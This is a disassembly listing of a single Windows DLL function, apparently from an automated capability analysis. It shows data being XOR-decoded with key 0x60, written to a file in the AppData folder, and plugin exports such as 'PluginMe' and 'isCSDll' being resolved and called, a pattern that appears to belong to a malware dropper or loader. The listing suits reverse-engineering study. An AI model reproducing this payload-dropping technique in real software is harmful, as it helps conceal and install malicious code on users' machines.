Function at 0x10018850
Capabilities:
Encode data using xor
Get common file path
Get file size
Write file on windows

Disassembly:
push ebp
mov ebp, esp
push 0xffffffffffffffff
push 0x10046eed
mov eax, dword fs:[0]
push eax
sub esp, 0x580
mov eax, dword [0x1005e068]
xor eax, ebp
mov dword [ebp - 0x14], eax
push ebx
push esi
push edi
push eax
lea eax, [ebp - 0xc]
mov dword fs:[0], eax
mov eax, dword [ebp + 8]
mov dword [ebp - 0x588], eax
test eax, eax
je 0x10018918
lea ecx, [eax + 0x808]
mov eax, dword [ecx + 4]
sub eax, dword [ecx]
je 0x10018918
mov dword [ebp - 0x574], 0
mov dword [ebp - 0x570], 0
mov dword [ebp - 0x56c], 0
push ecx
lea ecx, [ebp - 0x574]
mov dword [ebp - 4], 0
call fcn.100199b0
mov ebx, dword [ebp - 0x574]
mov ecx, ebx
call fcn.10013ef0
mov dword [ebp - 0x57c], eax
test eax, eax
jne 0x10018939
test ebx, ebx
je 0x10018918
mov ecx, dword [ebp - 0x56c]
mov eax, ebx
sub ecx, ebx
cmp ecx, 0x1000
jb 0x1001890e
mov ebx, dword [ebx - 4]
add ecx, 0x23
sub eax, ebx
add eax, 0xfffffffc
cmp eax, 0x1f
ja 0x10018eca
push ecx
push ebx
call fcn.1001f82e
add esp, 8
or eax, 0xffffffff
mov ecx, dword [ebp - 0xc]
mov dword fs:[0], ecx
pop ecx
pop edi
pop esi
pop ebx
mov ecx, dword [ebp - 0x14]
xor ecx, ebp
call fcn.1001f7ed
mov esp, ebp
pop ebp
ret 4
mov edx, str.isARDll
mov ecx, eax
call fcn.10014380
test eax, eax
je 0x10018c75
call eax
mov edi, eax
mov edx, edi
mov dword [ebp - 0x568], edi
lea esi, [edx + 1]
nop dword [eax]
mov cl, byte [edx]
inc edx
test cl, cl
jne 0x10018960
sub edx, esi
je 0x10018c75
mov ecx, str.ARPD
call fcn.10016330
push eax
lea ecx, [ebp - 0x564]
call fcn.100019b0
push edi
lea ecx, [ebp - 0x534]
mov byte [ebp - 4], 1
call fcn.10001a00
lea edx, [ebp - 0x534]
mov byte [ebp - 4], 2
lea ecx, [ebp - 0x54c]
call fcn.10015b30
mov byte [ebp - 4], 3
lea edi, [ebp - 0x54c]
cmp dword [ebp - 0x538], 8
lea ecx, [ebp - 0x564]
mov esi, dword [ebp - 0x53c]
cmovae edi, dword [ebp - 0x54c]
cmp dword [ebp - 0x550], 8
mov eax, dword [ebp - 0x554]
cmovae ecx, dword [ebp - 0x564]
mov dword [ebp - 0x578], edi
mov dword [ebp - 0x580], ecx
cmp esi, eax
ja 0x10018a53
test esi, esi
je 0x10018a93
sub eax, esi
inc eax
lea eax, [ecx + eax*2]
mov dword [ebp - 0x584], eax
sub eax, ecx
sar eax, 1
je 0x10018a53
movzx edx, word [edi]
nop
cmp word [ecx], dx
je 0x10018a1f
add ecx, 2
sub eax, 1
jne 0x10018a10
jmp 0x10018a53
test ecx, ecx
je 0x10018a53
mov edx, edi
test esi, esi
je 0x10018a46
mov edi, ecx
sub edi, dword [ebp - 0x578]
mov ax, word [edi + edx]
cmp ax, word [edx]
jne 0x10018bb4
add edx, 2
sub esi, 1
jne 0x10018a31
sub ecx, dword [ebp - 0x580]
sar ecx, 1
cmp ecx, 0xffffffff
jne 0x10018a93
lea eax, [ebp - 0x54c]
push eax
lea ecx, [ebp - 0x564]
call fcn.10007540
push 0x100563d4
lea ecx, [ebp - 0x564]
call fcn.100074c0
cmp dword [ebp - 0x550], 8
lea edx, [ebp - 0x564]
mov ecx, str.ARPD
cmovae edx, dword [ebp - 0x564]
call fcn.10016260
push 0x104
lea eax, [ebp - 0x11c]
push 0
push eax
call fcn.10022540
add esp, 0xc
lea eax, [ebp - 0x11c]
push 0
push 0x1a
push eax
push 0
call dword [sym.imp.SHELL32.dll_SHGetSpecialFolderPathA]
push dword [ebp - 0x568]
lea eax, [ebp - 0x11c]
push eax
lea eax, [ebp - 0x51c]
push str._s_s
push eax
call dword [sym.imp.USER32.dll_wsprintfA]
add esp, 0x10
lea eax, [ebp - 0x51c]
push 0
push 0
push 4
push 0
push 1
push 0x40000000
push eax
call dword [sym.imp.KERNEL32.dll_CreateFileA]
mov edi, eax
mov dword [ebp - 0x568], edi
cmp edi, 0xffffffff
je 0x10018b78
push 0
push edi
call dword [sym.imp.KERNEL32.dll_GetFileSize]
mov esi, dword [ebp - 0x570]
sub esi, ebx
cmp eax, esi
je 0x10018b71
push esi
call fcn.1001fd9a
mov ebx, eax
add esp, 4
test ebx, ebx
je 0x10018b71
xor edx, edx
test esi, esi
je 0x10018b56
mov edi, dword [ebp - 0x574]
mov ecx, ebx
sub edi, ebx
nop dword [eax + eax]
mov al, byte [edi + ecx]
lea ecx, [ecx + 1]
xor al, 0x60
inc edx
mov byte [ecx - 1], al
cmp edx, esi
jb 0x10018b40
mov edi, dword [ebp - 0x568]
push 0
lea eax, [ebp - 0x58c]
push eax
push esi
push ebx
push edi
call dword [sym.imp.KERNEL32.dll_WriteFile]
push ebx
call fcn.1001fdc6
add esp, 4
push edi
call dword [sym.imp.KERNEL32.dll_CloseHandle]
mov byte [ebp - 4], 2
mov eax, dword [ebp - 0x538]
cmp eax, 8
jb 0x10018bd8
mov edx, dword [ebp - 0x54c]
lea ecx, [eax*2 + 2]
mov eax, edx
cmp ecx, 0x1000
jb 0x10018bce
mov edx, dword [edx - 4]
add ecx, 0x23
sub eax, edx
add eax, 0xfffffffc
cmp eax, 0x1f
ja 0x10018ecf
jmp 0x10018bce
mov edi, dword [ebp - 0x578]
add ecx, 2
mov esi, dword [ebp - 0x53c]
mov eax, dword [ebp - 0x584]
jmp 0x10018a06
push ecx
push edx
call fcn.1001f82e
add esp, 8
mov byte [ebp - 4], 1
mov edx, dword [ebp - 0x520]
cmp edx, 0x10
jb 0x10018c16
mov ecx, dword [ebp - 0x534]
inc edx
mov eax, ecx
cmp edx, 0x1000
jb 0x10018c0c
mov ecx, dword [ecx - 4]
add edx, 0x23
sub eax, ecx
add eax, 0xfffffffc
cmp eax, 0x1f
ja 0x10018ed4
push edx
push ecx
call fcn.1001f82e
add esp, 8
mov byte [ebp - 4], 0
mov edx, dword [ebp - 0x550]
mov dword [ebp - 0x524], 0
mov dword [ebp - 0x520], 0xf
mov byte [ebp - 0x534], 0
cmp edx, 8
jb 0x10018c75
mov ecx, dword [ebp - 0x564]
lea edx, [edx*2 + 2]
mov eax, ecx
cmp edx, 0x1000
jb 0x10018c6b
mov ecx, dword [ecx - 4]
add edx, 0x23
sub eax, ecx
add eax, 0xfffffffc
cmp eax, 0x1f
ja 0x10018ed9
push edx
push ecx
call fcn.1001f82e
add esp, 8
mov ebx, dword [ebp - 0x57c]
mov edx, str.getDllName
mov ecx, ebx
call fcn.10014380
xor edi, edi
test eax, eax
je 0x10018d11
call eax
mov edi, eax
test edi, edi
je 0x10018d11
push edi
lea ecx, [ebp - 0x534]
call fcn.10001a00
mov byte [ebp - 4], 4
lea ecx, [ebp - 0x534]
mov eax, dword [0x101160c4]
push ecx
cmp dword [0x101160c8], eax
je 0x10018ccd
mov ecx, eax
call fcn.1000a2a0
add dword [0x101160c4], 0x18
jmp 0x10018cd3
push eax
call fcn.10017dc0
mov byte [ebp - 4], 0
mov edx, dword [ebp - 0x520]
cmp edx, 0x10
jb 0x10018d11
mov ecx, dword [ebp - 0x534]
inc edx
mov eax, ecx
cmp edx, 0x1000
jb 0x10018d07
mov ecx, dword [ecx - 4]
add edx, 0x23
sub eax, ecx
add eax, 0xfffffffc
cmp eax, 0x1f
ja 0x10018ede
push edx
push ecx
call fcn.1001f82e
add esp, 8
mov edx, str.isCSDll
mov ecx, ebx
call fcn.10014380
mov edx, str.PluginMe
mov ecx, ebx
mov esi, eax
call fcn.10014380
mov ebx, eax
test esi, esi
je 0x10018e1d
test ebx, ebx
je 0x10018e2f
mov esi, dword [ebp - 0x588]
lea ecx, [esi + 8]
push ecx
lea ecx, [ebp - 0x54c]
call fcn.100019b0
lea edx, [ebp - 0x54c]
mov byte [ebp - 4], 5
lea ecx, [ebp - 0x534]
call fcn.10015c30
mov byte [ebp - 4], 6
cmp dword [eax + 0x14], 0x10
jb 0x10018d73
mov eax, dword [eax]
push 0
push dword [esi + 4]
push eax
call ebx
mov byte [ebp - 4], 5
add esp, 0xc
mov edx, dword [ebp - 0x520]
cmp edx, 0x10
jb 0x10018dbc
mov ecx, dword [ebp - 0x534]
inc edx
mov eax, ecx
cmp edx, 0x1000
jb 0x10018db2
mov ecx, dword [ecx - 4]
add edx, 0x23
sub eax, ecx
add eax, 0xfffffffc
cmp eax, 0x1f
ja 0x10018ee3
push edx
push ecx
call fcn.1001f82e
add esp, 8
mov byte [ebp - 4], 0
mov edx, dword [ebp - 0x538]
mov dword [ebp - 0x524], 0
mov dword [ebp - 0x520], 0xf
mov byte [ebp - 0x534], 0
cmp edx, 8
jb 0x10018e2f
mov ecx, dword [ebp - 0x54c]
lea edx, [edx*2 + 2]
mov eax, ecx
cmp edx, 0x1000
jb 0x10018e11
mov ecx, dword [ecx - 4]
add edx, 0x23
sub eax, ecx
add eax, 0xfffffffc
cmp eax, 0x1f
ja 0x10018ee8
push edx
push ecx
call fcn.1001f82e
add esp, 8
jmp 0x10018e2f
test ebx, ebx
je 0x10018e2f
push 0
push 0
push 0x10055ae6
call ebx
add esp, 0xc
test edi, edi
je 0x10018e80
push edi
lea ecx, [ebp - 0x534]
call fcn.10001a00
lea ecx, [ebp - 0x534]
call fcn.10016430
mov edx, dword [ebp - 0x520]
cmp edx, 0x10
jb 0x10018e80
mov ecx, dword [ebp - 0x534]
inc edx
mov eax, ecx
cmp edx, 0x1000
jb 0x10018e76
mov ecx, dword [ecx - 4]
add edx, 0x23
sub eax, ecx
add eax, 0xfffffffc
cmp eax, 0x1f
ja 0x10018eed
push edx
push ecx
call fcn.1001f82e
add esp, 8
mov ecx, dword [ebp - 0x57c]
call fcn.100147a0
mov edx, dword [ebp - 0x574]
test edx, edx
je 0x1001891b
mov ecx, dword [ebp - 0x56c]
mov eax, edx
sub ecx, edx
cmp ecx, 0x1000
jb 0x10018ebb
mov edx, dword [edx - 4]
add ecx, 0x23
sub eax, edx
add eax, 0xfffffffc
cmp eax, 0x1f
ja 0x10018ef2
push ecx
push edx
call fcn.1001f82e
add esp, 8
jmp 0x1001891b
call fcn.10027d53
call fcn.10027d53
call fcn.10027d53
call fcn.10027d53
call fcn.10027d53
call fcn.10027d53
call fcn.10027d53
call fcn.10027d53
call fcn.10027d53
int3